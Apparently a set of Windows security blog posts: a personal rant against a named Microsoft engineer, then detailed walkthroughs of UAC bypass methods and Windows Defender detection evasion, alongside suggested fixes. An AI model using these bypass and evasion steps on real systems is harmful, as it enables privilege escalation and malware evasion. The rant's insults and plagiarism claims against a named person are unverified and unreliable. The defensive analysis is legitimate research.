When you interact with software and it developing company (in face of some developers) sometimes you meet a bunch of company fanatics. Those are people who actually jumped into the wagon not so long time ago but already think they are part/have rights on anything - they are deeply identify themselves with company they are working now. It is of course true if we take this from the commercial point of view and inter company communications. From the other (public) side this creates a problem of fanaticism. It is when you are become brainwashed at that level so you start to see things that does not exist. This depends on people but unfortunately it is a common trend. And they are not necessary devil advocates.

For example, any criticism targeting products of their company they take with pain in their own asses. And it does not matter if this criticism is valid or not.

Usually it starts with classic sentence - "If you don't %verb% %my company/product% then why you still %verb% it". E.g. - "if you don't like Windows then why you still use it". Such sentences used as a typical indicator of upcoming demagogy attack next.

So what is all about?

Meet the proud Microsoft fanatic who are unhappy with recent blogpost I made.

Pic 2. Meet aall64.
 

Long story short - he read (as he said) that https://swapcontext.blogspot.com/2020/10/uacme-35-wd-and-ways-of-mitigation.html. This ignited his butt very well and he went to me expressing his deep displeasure along with the demonstration of a rich imagination and the ability to see what is not exist.

Who is this guy? It is Microsoft employee that formerly worked in PrevX. Infamous MD5 calculators NextGen AV developing company with always lurking copy-pasters on various forums and EraserHW (Marco G.) as main PR man at charge who was linked to the fake overestimated malware campaigns of Gromozon/LinkOptimizer in 2006. This toxic active has been acquired by Webroot in the end of 2010 and later went to special hell dedicated for hash calculators NextGen AV. Andrea is a current co-author of that yet another full of water Russinovich book edition (which 3rd edition copy I accidentally bought in 2006, when actually liked it those days). Also he is a "proud Microsoft guy" (as he said). I know about him 10 years. This guy come up to kernelmode.info in 2010 with his pet project called AntiTdl. He come here after advice from wilderssecurity.com forums where he initially posted his project. Casuals from that forum wasn't happy with it (they wasn't able to deal with it), so following their advice he registered on kernelmode.info and posted stuff. That is how we meet. This project was already out-dated, extremely bugged and was basically useless. However no one said a word against it, and KM community (including me) welcomed and provided all possible support to this author. Because sharing knowledge is always great idea. You can find this in kernelmode.info by searching with google "antitdl site:kernelmode.info". Next he come up to TDL4 reversing and other kind of bootkits, along the way he did plagiarism on existing content (https://twitter.com/Fyyre/status/155383565943701504). 

Pic 3. 2 years delay reply, rofl.
 

Next there was something about PatchGuard (another doubtful technology from MS) and he ended up surprisingly in Microsoft. I actually glad that he made his way from a mediocre half-fake AV company to the MSFT, good job.

Here is what exactly he does not like in my mentioned article about UAC. I specifically asked him about this because his initial claims has nothing to do with actual article context - it simple does not have anything he said. This is what he answered to me in a DM which I next made public.

Pic 4. "I see dead people everywhere".

To make it more readable, here is the part of article as screenshot.

Pic 5. Comedy Section Bonus part screenshot.

First, lets begin with "edited" statement.

His first tweet with accusations was 29 October 2020, it is on picture 2. The DM conversation take place 31 October 2020. So following this guy logic (I really hope it is not the same when he code anything), I edited material in between of his first tweet (29 Oct) and my answer to it few hours later.

Unfortunately to this guy there is a Google Cache of my blogpost available from 27 October -> https://webcache.googleusercontent.com/search?q=cache:_dzbCypL044J:https://swapcontext.blogspot.com/2020/+&cd=5&hl=ru&ct=clnk&gl=en&client=firefox-b-d (this google cache page saved to WebArchive additionally now).

This article has never been edited after publication. I have no habit of changing anything after it became public, except and only if I fix typos. However, if you remember his glorious way to Microsoft, you should remember this guy already familiar with plagiarism so probably he just projected his own habits on me.

Since we are dealing with a typical fanatic he still can claim that he read it before 27 Oct (and I don't have google cache earlier that date), so I magically got notified about that reading fact, magically imagined his reaction and edited content doing that in a stealth mode. It is ridiculous but from this guy I can expect anything now.

The context of the bonus of this article is describing typical social media behavior taking place each year. So this part "Woohoo, Windoze Byp@$$3d M1cr0$0ft SuXx!" is not my words and not a projection of my options. It is what people say and mean. I don't know Andrea aka aall86, are you seriously thinking you are dealing with a sort of 14 year old script-kiddie here? What is the 86 here btw, year of birth or IQ rate?

The last part about "s3curity r3s3arch3rs", I've to decipher to Andrea, is about mister "DimopoulosElias" a guy who stuck in copy-pasta, use google for more info. Now put here your imagined "MiCro$oft sucks" and try to read this sentence again. It actually will lose all sense.

All these lying accusations is just weak attempt to hide actual reason of Andrea butt ignition. If you read this article it contains a lot of criticism. And harsh part related to Windows Defender. It is not the first time Andrea come ups trying to defend this crappy Microsoft imposed product. The last time he was defending that brain-dead Microsoft employees who multiple times signatured Process Hacker - popular open source software. So this guy read this vertically, butt ignited and he hang on the most notable sentences for him from this article (the magic number of 86 don't forget) completely ignoring not only their context but actual text, because I don't know what kind of reading skills you should have to read "s3curity r3s3arch3rs" as "MiCro$oft sucks" 😆

Pic 6. DM part


Yes, you just a dumbfuck fanatic 👌. Mister aall86 insisted during "conversation" via DM so he got a dedicated blogpost, achievement unlocked.

Conclusions:

1. Always backup your original content with ability for others track any changes in it. You can use WebArchive and save your page after publication or copy contents to the some public git repository, so everybody will be able do a simple fact-check and track exact changes.

2. PrevX as indicator in people portfolio. Take such guys with a caution. Yes it is a sad thing but almost all of them I know ended up to be like this guy. It is PrevX curse and knowing this company past and key personalities of it - I should not be that surprised.

3. Since all his content now viewed through the prism of the above events - as of the "book" he co-writes - well, thankfully, it is now 2020 and not 2001-2005 so if you for some unknown reason still want to learn anything(new) about Windows internals you can always find a alternate way instead of this water pool. Remember one simple thing - since beginning, this book was a perfect illustration of Microsoft inability to write somewhat decent public documentation, MSDN is when they do this not because they want to, but because they have to. That's explains failing quality of available content. And to compensate this here we came up with sort of fan-fictions which are approved and welcomed by company.

UAC bypasses from COMAutoApprovalList

By: hfiref0x
2 November 2020 at 17:31

Intro

(This post is made with permission of Arush Agarampur - an original author of all methods described below). 

Here and below we assume Windows user account created by default with default settings. Windows COM object model is a complicated technology and is an essential part of almost every UAC bypass since Windows 7 release in 2009. The point of interest in this technology is a set of classes with enabled elevation, thus when you run interfaces based on them you can skip confirmation dialog from consent.exe (depending on UAC settings).

The definition of this elevation enabled class must look like this:

HKEY_CLASSES_ROOT\CLSID
   {CLSID}
       Elevation
          Enabled: 1

Live example:

Pic 1. SPPLUAObject Class.

These entries always exist only in HKEY_LOCAL_MACHINE (HKEY_CLASSES_ROOT is just a subkey of HKLM\Software) and during elevation process Windows expect them to be only in this hive. This automatically prevents users from elevating COM classes they did not have the privileges to register and prevent altering existing keys because of permissions set on these keys.

There is a few utilities that can help you walk through COM classes in the Windows. First is a very old tool from Microsoft - "OleView - OLE-COM Object Viewer" shipped together with Visual C++, and second is a relatively new tool from James Forshaw "OleView.NET", available with source at https://github.com/tyranid/oleviewdotnet 

Both are good enough for our task and I can suggest you try them all. Forshaw tool however has some features that especially very handy for our task and which MS OleView does not have.

What happens when elevated COM object created? 

There are few types of COM classes and they are handled differently. Here are the types that are used in this article described UAC bypass methods:

COM class that support elevation with linked dll that implements this class (it is specified in InProcServer32 registry subkey). A special application called DllHost.exe will be started with High IL and command line parameter /ProcessId:{CLSID} where CLSID belongs to requested COM class. Internally this is managed by combase.dll. This mechanic is called Dll Surrogate. The idea behind this is a very similar to that used in SCM with svchost.exe application instances hosting service dlls. In short - the requested code will be loaded in additional process and in case of critical failure this process will die leaving requestor alive and able to respond. In case of COM classes it also makes possible transparent elevation when your requestor code will still be running at Medium IL and COM code will run at High IL in separate process.

COM class that supports elevation and has LocalServer32 subkey set, which specifies the location of the COM server application to launch (parameter ServerExecutable). Server executable will have "-Embedding" parameter set as command line.

That is important part as some security researchers can assume that for elevation detection is enough inspect DllHost.exe parameters in logs. No, it is not sufficient indicator as it won't cover case above when default system-supplied surrogate is not used.

Pic 2. OleView.NET DllHost.exe surrogate listing.
 

Number of such autoelevated COM classes is a really big. Just a small list of them available in kernelmode.info archive Autoelevated COM objects, list (win7-win10). However starting from Windows 10 RS1 even if COM class has elevation ability enabled it doesn't mean it will be elevated. This innovation was a part of complex UAC update introduced in Redstone 1.  

Special COMAutoApprovalList was introduced (HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UAC\COMAutoApprovalList). Location of this list prevents it from being edited without sufficient privileges.

Pic 3. COMAutoApprovalList as seen on Redstone 5.

It values are checked by consent.exe in the internal function named CuiIsCOMClassAutoApprovable called from CuiCheckElevationAutoApprovalMedium before processing COM class as autoelevated. This gives Windows ability to selectively ban autoelevation of arbitrary COM class without modification of existing registry keys and further impact on applications. Introduction of this list already blocked several UAC bypass methods based on autoelevated COM objects (UninstallStringLauncher and CreateNewLink). From the attacker perspective this save a lot of time validating existing UAC bypass methods. This list is also working as a starting point for exploring undiscovered UAC bypasses and few of them described next.

ActiveX Install Broker UAC bypass

The first method based on autoelevated COM object with CLSID {BDB57FF2-79B9-4205-9447-F5FE85F37312}, this is "Internet Explorer Add-on Installer" coclass. This COM object already has an exploitation backstory. In 2014 it was mentioned in the "Digging for Sandbox Escapes" at BlackHat 2014 USA by James Forshaw as part of attack surface in IE sandbox breakouts. It seems this particular usage was addressed by Microsoft later, however this COM object is still valuable for UAC bypass. This coclass contain several interfaces and from revese-engineering and behavior analysis two of them are of interest to us.

  1. IexAxiAdminInstaller
  2. IeAxiInstaller2

Pic 4. Internet Explorer Add-on Installer class interfaces.

This type of COM uses server executable that hosts code. In this case server executable is "C:\Program Files\Internet Explorer\IEInstal.exe" and exactly it will be started when instance of class will be created. These interfaces allows running specific file via RunSetupCommand method which is the part of IEAxiInstaller2 interface. This method is pretty much similar to RunSetupCommand documented on MSDN https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/aa768010(v=vs.85).

Thus main idea here is to force this method execute our file as "setup command", since this host application is elevated our code will also be elevated and UAC will be bypassed.

The full call chain following to the "setup command" execution is the following:

  1. Allocate elevated object of IEAxiAdminInstaller (CLSID: {BDB57FF2-79B9-4205-9447-F5FE85F37312}, IID: {9AEA8A59-E0C9-40F1-87DD-757061D56177}).
  2. Initialize admin installation by calling IEAxiAdminInstaller->InitializeAdminInstaller. This will give us unique string GUID that is used in further calls.
  3. Query IEAxiInstaller2 broker object with QueryInterface from IEAxiAdminInstaller. (IID: {BC0EC710-A3ED-4F99-B14F-5FD59FDACEA3})
  4. IEAxiInstaller2 calls VerifyFile method. This routine will copy file (which is given as method parameter) with slightly modified name to the newly created temp directory which has modify permissions granted to Administrators and resides inside current user temporary directory. Next it will do WinVerifyTrust over that file. If file is not signed by MS or something went wrong - method will return error. Note that signature must be embedded, as it seems this method won't check files signed via catalog.
  5. IEAxiInstaller2 calls RunSetupCommand with parameter set to previously validated file.

The problem here is that temporary directory created during VerifyFile call has modify permissions granted to the Administators so we can use another autoelevated COM interface - well known IFileOperation and alter data inside this folder. However we need to do this after VerifyFile call and before RunSetupCommand otherwise nothing will work. Also we cannot use RunSetupCommand to run something with advanced command line - Microsoft code validates command line and does not expects anything advanced in it, otherwise causing method to return failure. File to verify also must be signed by Microsoft with embedded signature. Here is how we can alter above call scheme and bypass UAC.

  1. Same as before.
  2. Same as before.
  3. Same as before.
  4. Call IEAxiInstaller2->VerifyFile on Microsoft binary from system32, something lightweight with embedded digital signature like for example our beloved consent.exe. It will be copied to temp folder with new name. Remember new name (for our example [1]consent.exe) and location (inside newly created temporary directory in user temp).
  5. Allocate IFileOperation object and use it to replace [1]consent.exe with our payload executable. Name must be the same -> [1]consent.exe.
  6. Run IEAxiInstaller2->RunSetupCommand with parameter set to the forged file.
  7. ...
  8. Profit.

Don't forget to kill temp directory after this method completion. This method implemented in UACMe v3.5.1 as #64. Original author implementation can be found in "References" at the end of this article.

Security Center UAC Bypass 

Second method based on autoelevated COM object with CLSID {E9495B87-D950-4AB5-87A5-FF6D70BF3E90}, this is Security Center and it uses default system-supplied surrogate DllHost.exe.

Pic 5. Security Center class.


IWscAdmin interface is of interest here. It has method called
DoModalSecurityAction which depending on supplied parameters calls ShellExecuteExW. This call is done with URL as parameter. In our case it is "http://go.microsoft.com/fwlink/?LinkId=534032". 

How this can be turned into fully working UAC bypass? Because we are dealing with over-complicated Windows Shell it is very simple but at first glance you can miss this opportunity. We can hijack shell protocol handler "http" for current user and force it use our payload thus instead of browser you will have our payload executed when ShellExecuteExW will be called with this URL as parameter.

Hijacking protocol handler is the main problem here. Before Windows 8 it is all simple - you just create protocol handler key and then modify HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice ProgId value with that name. With Windows 8 and above it is all complicated because protocol settings now encrypted and verified with a hash, so we cannot change it like before anymore. Personally, I don't really know purpose of this, was it result of "set %browser% as default app" wars or whatever, so this change for me is just annoying. In Windows 10 it is all now managed with help of SystemSettings application. Reverse engineering of this app in recent Windows 10 versions shows it uses call to SystemSettings.Handlers.dll!SetUserAssoc internal function to perform association. This suggest it can be used for our task. However to make it compatible with all Windows versions starting from 7 up to recent 10 it was required to dig deeper and locate the key function which is the same for all versions. 

And it was found, it is unexported shell32.dll function called UserAssocSet, it present in Windows at least since Windows XP. The SetUserAssoc function later pass it parameters to UserAssocSet call where this function looks like completely copy-pasted from shell32.dll to the SystemSettings.Handlers.dll.

Quick googling for that symbol revealed interesting article in Chinese which is covering detective story of finding and understand how all this brand new association works. Author(s) used it to register browser default app. Link to it included in the References at the end of this article. So final steps for this UAC bypass method are the following:

  1. Create registry protocol entry somewhere in HKEY_CURRENT_USER\Software\Classes.
  2. Query UserAssocSet function address from shell32.dll .text section using known patterns. 
  3. Register new association for "http" by calling UserAssocSet with first parameter set to UASET_PROGID.
  4. Allocate elevated object IWscAdmin (CLSID: {E9495B87-D950-4AB5-87A5-FF6D70BF3E90}, IID: {49ACAA99-F009-4524-9D2A-D751C9A38F60}).
  5. Call IWscAdmin->Initialize (it is required for interface to work as it contain some GUI stuff).
  6. Call IWscAdmin->DoModalSecurityAction with "action" parameter set to 103 to trigger ShellExecuteEx call.
  7. ...
  8. Profit.

During analysis of shell32 from number of Windows 10 builds it was found out that UserAssocSet is a subject of multiple internal changes, including number of parameters and functions from where this routine called. However first three parameters of it are always the same and generic prototype of this routine doesn't changed since Windows XP.

 HRESULT UserAssocSet(
    UASET set,
    LPCWSTR pszExt,
    LPCWSTR pszSet,
    [DWORD dwFlags]);

dwFlags parameter is variable and may present on some Windows 10 builds and not present on others. It is another enumeration of type ASSOC_MAKE_DEFAULT_FLAGS which complete definition is unknown and out of interest for us. However Windows 10 versions that has this parameter require it to be set to specific value which can be determinated with disassembler.

Association registration maybe removed later with another call of UserAssocSet this time with first parameter set to UASET_CLEAR. This UAC bypass method implemented in UACMe v3.5.2 as #65. It uses signature search method to locate UserAssocSet

In attempt to improve signature search I've looked on possibility of going out directly to internal routine that has this UserAssocSet call through IApplicationAssociationRegistration interface (https://docs.microsoft.com/en-us/windows/win32/api/shobjidl_core/nn-shobjidl_core-iapplicationassociationregistration). In the mentioned Chinese article author(s) used this interface to get to the internal one (called surprisingly as IApplicationAssociationRegistrationInternal) and use methods from it. By the way you can ignore what MSDN says about this interface limitations - MSDN information is a partial lie. Unfortunately Microsoft altered this interface heavily since this article publication. They not only changed interface ID but also redesigned methods so they does not have call to UserAssocSet now. I will leave this question to those who want to improve method.

P.S.

As you can see COM autoelevation objects are still have a lot of potential even 11 years after Windows 7 release. No doubt there are more surprises still need to be revealed as this is classic security through obscurity model.

UACMe 3.5, WD and the ways of mitigation

By: hfiref0x
5 October 2020 at 17:28

Intro

(warning this post if quite long)

UACMe is a demonstrator tool initially developed following WinNT/Pitou research. It contains set of User Account Control (UAC) bypass methods, where most of them initially extracted from ITW malware.

Pic 1. Typical UAC window (IFileOperation).
 

More about UACMe and Microsoft way of fixing "not a security boundary" (and side effects of these fixes) you can read at kernelmode.info archive. Since initial release in the December 2014 a total number of added UAC bypass methods counted 63. It maybe astonishing number at first glance but keep in mind that around ~20% of these methods are combinations of each other, any change made by Microsoft to fix designated method will ruin not only this method but also automatically everything where it was used. A perfect example is methods based on ISecurityEditor undocumented autoelevated interface used by Win32/Simda (previously wide-spread malware family with Russian origin). When Microsoft altered this interface forcing it to work only with file objects this ruined not only original Simda method but also method that used Application Verifier dll planting (later this method was also used in some ITW malware). However this does not mean UACMe doesn't have measures against these fixes where they are available. Several methods have different ways of execution depending on current Windows version where they expect original implementation to be fixed or unavailable by different reasons. Anyway - don't take UACMe methods counter as an indicator of anything.

With these number of methods codebase has ridiculously grown and because it late 2020 it was decided to drop everything that does not work or have been fixed on current mainstream Windows version. 

Microsoft fixes to UAC, while there are plenty of them, almost never been backported to previous Windows versions. Only exceptions are: generic fuckup in media (like in case of some APT causing MS drop UAC fix as part of their bulletin) or as part of big rollup update (Windows 7). Just keep in mind that UAC become "not a security boundary" when it was fucked up by Microsoft marketing specialists with Windows Vista.

Currently Windows 10 pushing major updates 1-2 times per year. As for now, Windows 7 and 8/8.1 out of the box settings render their UAC almost transparent to threats due to fundamental design flaws revealed in the UAC implementation over time. Not surprisingly all methods that bound on Windows 7 are dropped in UACMe 3.5+. It is time to move on.

The last major UAC update in Windows 10 was in RS1 release (14393) where they massively updated appinfo (UAC service with implementation inside appinfo.dll) and reviewed several other things. Since that time they released only some sporadic updates targeting some specific methods. However this does not mean they do nothing. Not at all.

Windows Defender to the rescue

This Microsoft aggressively imposed "product" that ships with Windows 10 (now even Server) and it general purposes are:

1. Massively affect PC performance;

2. Imitate protection from threats by detecting open source projects, collections of out-dated malware and various script-kiddie junk;

3. Have an option to work as selective backdoor (hello Kaspersky GRU mode 🙀);

4. Take a share on AV global market.

Windows Defender is the thing you don't need at all. At least if you capable of being a master of your PC not slave of it installed program. Fortunately, despite the Microsoft attempts to harden WD presence, you still can remove it completely from system without side effects.

Regarding to UACMe Windows Defender works as "that guy" who is fixing what OS devs doesn't want to fix. Yes, they selectively and very carefully signatured lots of unfixed UAC bypass methods and UACMe program and it components. However even there MS for some unknown reason leaving wide open window for malware constantly ignoring a very popular methods used ITW and at the same time detecting some of really rare (if even used). On the other side WD installed and updated on systems that has no fancy UAC fixes built-in so it working as the only available lazy fix here 😉

How does it detect it? Windows Defender has a real-time behavior monitoring feature that can catch system events by a bunch of kernel mode filters and callbacks (most of them inside WDFilter.sys driver). A user mode client subscribed to these events and judging on their combinations can predict program behavior thus giving WD ability to check it against set of rules stored in the signatures called "Behavior" in their AV database. There are hundreds of such rules in their database and this number always grows. And of course they have a lot of them regarding possible UAC bypasses. 

Examples of such behavior detection:

The filter reports registry write at specific key which is hardcoded in the WD database. Some program want to change @Default value of current logged user Software\Classess\mscfile\shell\open\command key. Determinate a caller application (if it is an indirect registry write - attempt to locate its initiator). Revert registry change, remediation - check and kill initiator, notify user through message balloon, write logs, quarantine the initiator, if required. Take a hint, this is all done in real-time, involving a lot of highly ineffective code, with a race condition state so if system lags a lot WD actually can miss the moment when initiator effectively launch payload and despite achtung balloon UAC bypass will "pass".

Pic 2. Windows Defender detection with behavior signature (nothing quarantined, its just a WD bullshit).
 

Another example of same kind. We have same registry write event, but our detection rule is more complicated. Now we also check if there is a specific process launch registered - sdclt.exe (Microsoft binary). If so, we are looking for its parameter (it can't be obfuscated as we doesn't control sdclt.exe behavior this way). If this parameter is /kickoffelev - bingo, you got a balloon "Threat detected Behavior:Win32/UacBypassExp.K!sdclt"

Et cetera. There are more than 40 behavior detection signatures targeting UAC bypass attempts at the moment of this writing and this count will highly likely increase. Some of them giving cross detection capabilities.

Does this effective enough? It depends on how much space for maneuver the particular method has. If you out of space and different approach is impossible - WD have won.

However, you should not overestimate WD team capabilities. While they are indeed carefully signatured some of the known methods and combinations in various malware, they are doing this in a way missing any creativity in mind. Or maybe they are incapable of it. So if the method is still technically working on latest Windows 10 and WD has behavior signature for it - it is highly likely we can bypass it by altering method in a way WD does not expect it to work.

Below we will take a tour to the UACMe 3.5 remaining methods, figure out how they can be fixed from OS dev point of view and how WD can be improved to block them completely as "lazy way fix".

UAC Bypass Exploits

 
Everything below tested against full patch Windows 10 (2004), clean install with default settings and fully updated Windows Defender as of 26 September 2020.
 

💥Method #22 

(herein and below numbers are method ids in UACMe list). 

1) Description

This is a dll hijacking method based on internal Windows dll redirection feature called DotLocal (or .local) and relying on IFileOperation autoelevated interface to plant payload files/create required subdirectories structure inside Windows system32 protected directory. It is similar to #21 with different target application, in that case it is consent.exe - this thing is responsible for UAC credentials dialog and launched every time when you start anything that require an elevation (even if it is has autoelevation capabilities). Except providing GUI for UAC this program also responsible for checking autoelevated interfaces to be in special whitelist introduced in the Windows 10 RS1 and called COMAutoApprovalList. If checked interface is not in this list it won't be elevated. UACMe creates a required subdirectory structure in system32 and plants it special module called Fubuki under name comctrl32.dll. Next when consent.exe started this dll loads into consent address space as common controls library, executes payload and terminate consent. Resulting payload will run with LocalSystem (NT Authority\SYSTEM) account rights because consent.exe spawned from UAC service that also runs as LocalSystem. 

2) WD detection

Microsoft has a behavior signatures for this method. Their idea here is to catch the moment when you create subdirectories for planting payload and moment when attacker code moves payload from temporary folder to the target subdirectory in system32. This is strange and incomplete detection as it doesn't cover different scenario when nothing moves anywhere and there is a direct write to this directory from memory.

3) WD detection bypass

Since IFileOperation creates an admin owned directories in system32 we can abuse that fact, create subdirectories as usual and then reset DACL for final subdirectory to allow us write access without elevation. This can be achieved by combing IFileOperation with ISecurityEditor which has been a subject of incomplete fix after Win32/Simda where MS banned it usage for anything else than file objects, previously it was nice autoelevated Set/GetNamedSecurityInfo wrapper.

4) Lazy fix for WD

Obviously you must catch a moment when a file is created inside this DotLocal subdirectory structure. However this can be not enough, as attacker code can use renaming operation, so better solution will be catch both cases and if there is ANY file present (or there is an attempt to write here) in this DotLocal substructure show detect. It is a bit more complicated then what they actually have.

5) Possible fix

When consent.exe started by appinfo service it maybe be started with process mitigation binary policy "Microsoft Signed Only" applied. This even won't require any IFEO keys etc. I've no idea why they didn't bothered to implement this from the beginning. This is especially fun because #21 targeting sysprep.exe was fixed by MS in that way.

💥Method #23

1) Description

This is dll hijacking method based on fact that PkgMgr.exe (whitelisted by UAC service in g_lpAutoApproveEXEList internal list) is being deprecated and works just as launcher for Dism application which is located in system32 subdirectory "Dism". When the Dism application has started, it will search for its dependencies in the system32 as first, then from its home directory. Attacker can plant a payload dll as dismcore.dll to the system32 and then trigger Dism launch by calling PkgMgr.exe with special parameters.

2) WD detection

Windows Defender has several signatures to detect this, their exact dedicated signature called Win32/Disemer and has several variants. They detect it by various things - starting from dismcore.dll file in the system32 (which indeed achtung and red alert as it never happens on real system), and ending up with pkgmgr.exe parameters containing specific tokens.

3) WD detection bypass

First of all, since I was this one who made this method public I'm quite surprised that for a few years of it existence no one actually look on it deeper. It seems both malware and AV industry blindly adapted what was posted on kernelmode.info. If we can trust crowdstrike (dubious security company sometimes serving as a proxy in West info wars campaigns) - even some "APT" used it as is. Actually you can do this bypass in a different way. There is no need in any additional files (packages) to be dropped anywhere and supplied as parameter to pkgmgr. You can just give it complete junk and use something else not only dismcore.dll. However this method has not so much space for maneuvering and can be completely signatured.

4) Lazy fix for WD

Pkgmr execution with ANY parameters following executable code planting as file in the system32.

5) Possible fix

Remove deprecated PkgMgr.exe from appinfo g_lpAutoApproveEXEList. There is no sense in keeping it here. Instead, PkgMgr may have manifest with requested execution level set to "requireAdministrator" and autoelevation blocked or unspecified.

💥Method #30

1) Description

Strictly speaking this is not a true dll hijack, it is more like abusing undocumented feature where this it seems completely for internal debugging. Method based on Wow64 subsystem logger dll. The first public mention about this Wow64 mechanics has been posted more than 10 years ago by lhc645 here. There also was posted wow64log dll source skeleton. The target dll - wow64log.dll must be placed to the system32 folder. Every wow64 application when started will load it and execute dll entry point, thus you can inject this dll to the autoelevated binaries from syswow64 folder. The logger dll must be native otherwise there will be a crash in the target application. This method has a lot of disadvantages and not that much room to maneuver in case of active counteraction from WD. UACMe uses IFileOperation to plant module named Akatsuki - payload dll as wow64log.dll in the system32 folder. This dll is not native and this is done on a purpose. When target application attempts to load this dll it will crash causing launch of WerFault application which is also will be 32 bit but started as LocalSystem. Thus Akatsuki will propagate to WerFault instance(s) and grant payload code NT Authority\SYSTEM access rights.

2) WD detection

Not capable (as of 26 Sep 2020).

3) WD detection bypass

No needed, see above.

4) Lazy fix for WD

Block wow64log.dll loading by default.

5) Possible fix

Block wow64log feature by checking corresponding registry value (lets say REG_DWORD "EnableWow64Logging") somewhere in HKLM with default state set to FALSE(0).

💥Method #32

1) Description

This method implements UAC bypass by window hook set from dll hijacked UIAccess application. As target it abused OSK.exe copied from Windows folder to the %ProgramFiles%\Windows Media Player folder (created if not exist) with help of IFileOperation. This is done for creating conditions required for dll hijack. Target directory selected because it is inside appinfo g_lpIncludePFDirs secure directories whitelist. Next Fubuki planted in the same folder as duser.dll or osksupport.dll depending on Windows version. When OSK.exe starts - variant of this dll loaded and Fubuki code runs on Medium+ integrity level from UIAccess allowed application which enables it dll injection via windows hooks. As target of final injection it uses eventvwr.exe launcher application.

2) WD detection

Not capable (as of 26 Sep 2020).

3) WD detection bypass

No needed, see above.

4) Lazy fix for WD

Easiest and obvious - block dlls planting by folder and name. However there can be different targets and dlls. Ultimate solution would be preventing dll injection at final stage to the high IL process from Medium+ IL as it clearly not something you can expect from such UIAccess applications.

5) Possible fix

UIAccess applications should include manifest with hardened loadFrom elements thus preventing dll hijacking as dll dependencies that are not in KnownDlls will be loaded from manifest specified paths. Microsoft did this in the past with Sysprep.exe (unfortunately this was incomplete fix and it took them few more years to finally harden sysprep from dll hijacking) and for inetmgr.exe.

Pic 3. Sysprep.exe manifest as example.

💥Method #33 (#62)

1) Description

This is a registry key manipulation type bypass. It is similar to infamous Enigma0x3 "mscfile fileless" bypass and the only difference in a key and target application. It abuses fact that Windows Shell will first lookup given class items in the current user registry hive and only after that in local machine. Thus you can control key that later Windows will attempt to parse and execute command from it. Method 33 and 62 has the same code base in UACMe, the only difference is the target applications they involve. It was requested by some of the UACMe users and I didn't mind to fulfill that request.

2) WD detection

Because this is similar to Enigma0x3 methods and widely used ITW by malware Windows Defender has behavior detection signature Behavior:Win32/UACBypassExp.T (with variants). Part of rule including write event to the current user Software\Classes\ms-settings\shell\open\command @Default value and following process execution (fodhelper.exe or computerdefaults.exe - both are Microsoft binaries).

3) WD detection bypass

Windows Defender capable of detecting write event to the hardcoded registry key either direct or indirect using for example reg.exe or Powershell. In fact it doesn't matter, it will detect all writes, indirect write through registry symbolic link or registry transaction. It detects 😉 

How this can be bypassed? We will use the fact that WD is:

A) incapable prevent registry key creation and B) only inspect @Default value change of the last key in the registry path chain. 

Our goal is to redirect key read for Windows Shell from WD inspected key to our fake key with all planted data. To do this we will set registry symbolic link to the "command" registry key in path chain and redirect it to our controlled "command" key somewhere else. WD will read original key and will be happy as it will have the same unmodified @Default value. Windows Shell will reparse registry key when accessing "command" and will read data from "our" key instead. Everybody happy.

4) Lazy fix for WD

Block symbolic link creation for entire registry entry elements, or follow symbolic link and inspect resulting key instead of just reading hardcoded one ignoring reparse. More hardcore solution would be is to block write access at all to these shell keys.

5) Possible fix

Create default empty keys for users and protect them with security descriptor. Windows Shell is over-complicated bullshit so there can be side effects and this require more investigations which is simpler to do when you have all source code.

💥Method #34

1) Description

This is AlwaysNofity compatible method. It abuses environment variables and Microsoft DiskCleanup scheduled task. The idea behind this method is to set your own controlled %windir% environment variable to the registry and then force scheduled task take it resulting in command line injection. Quotes for payload command are required part here as they need for successful command line injection since executable path in scheduled task is not quoted.

2) WD detection

It detects the fact of scheduled task startup and does this by comparing command line of schtaks.exe to have \Microsoft\Windows\DiskCleanup\SilentCleanup substring. If found - then achtung you got Behavior:Win32/SilentCleanupUACBypass 

Note they also prepared for possible other sources - this signature speaks for itself PossibleSchedTasksUACBypass (checks for \Microsoft\Windows sub-string).

3) WD detection bypass

Just don't use schtasks. No one actually forced you to do so. This method is perfect illustration when everybody just simple copy-pasted original. You can do the same what schtasks does with help of Task Scheduler interface objects such as ITaskService, ITaskFolder and IRegisteredTask.

4) Lazy fix for WD

Detect %windir% environment variable modification for current user.

5) Possible fix

Get rid of environment variables for DiskCleanup scheduled task or use quoted path. That %windir% actually was a ridiculous idea.

💥Method #36

1) Description

This method is from infamous SandboxEscaper from those times when he was not yet what he(she/it whatever) is now. Like almost everything from this guy it is based on NTFS reparse point feature and state of race condition. It abuses Wusa behavior which creates hidden temporary directory in the root of the current drive with default security descriptor when processing msu (cab) files. Wusa extracts contents of processed cab file to that temporary directory looking for further instructions inside these files. By setting reparse point on that directory you can redirect Wusa write to specified target directory.

2) WD detection

There is no specific detection signature for this method. However since one variant of it uses Dism hijack similar to method #23 WD detects file planting to the system32 folder with Win32/Disemer signature.

3) WD detection bypass

Similar to #23

4) Lazy fix for WD

Similar to #23

5) Possible fix

Wusa should set security descriptor when creating temporary directory. Something like similar fix has been implemented for method #26 by MS in the past.

💥Method #37

1) Description

It is combination of DotLocal, Wusa race condition methods (#21, #22, #36). It uses Wusa race condition to create DotLocal directory structure and copy file to the system32. Instead of comctrl32 it abuses GdiPlus with target set to DCCW.exe

2) WD detection

Not capable (as of 26 Sep 2020).

3) WD detection bypass

No needed, see above.

4) Lazy fix for WD

Similar to #22 and #36

5) Possible fix

Dccw.exe autoelevation removal.

💥Method #38

1) Description

This method uses appinfo command line parsing spoofing. This requires talking to appinfo via RPC as Windows Shell always build correct command line request when used ShellExecute(Ex). This can be achieved through AicLaunchAdminProcess hook or by direct RPC call. You have to prepare your MMC snap-in and embed in it Shockwave Flash Object which will execute supplied HTML script located somewhere on disk. This HTML code will eventually run your payload through ExecuteShellCommand method.

2) WD detection

Not capable (as of 26 Sep 2020).

3) WD detection bypass

No needed, see above.

4) Lazy fix for WD

This method require file drops. Both fake management console snap-in and html run script can be detected when dropped to the disk. However this is not really reliable. Perhaps you can catch the moment when mmc.exe got started with fake snap-in.

5) Possible fix

Obviously appinfo command line parsing need a tweak so it won't skip arguments in command line without actual check of them.

💥Method #39

1) Description

This is NET Code Profiler method. It entirely rely on setting very specific current user environment variables and registering fake profiler dll which must be dropped to the disk. Then you must select dotnet origin target. In our case it is EventViewer GUI - slow & ridiculously over complicated piece of crap.

2) WD detection

Not capable (as of 26 Sep 2020).

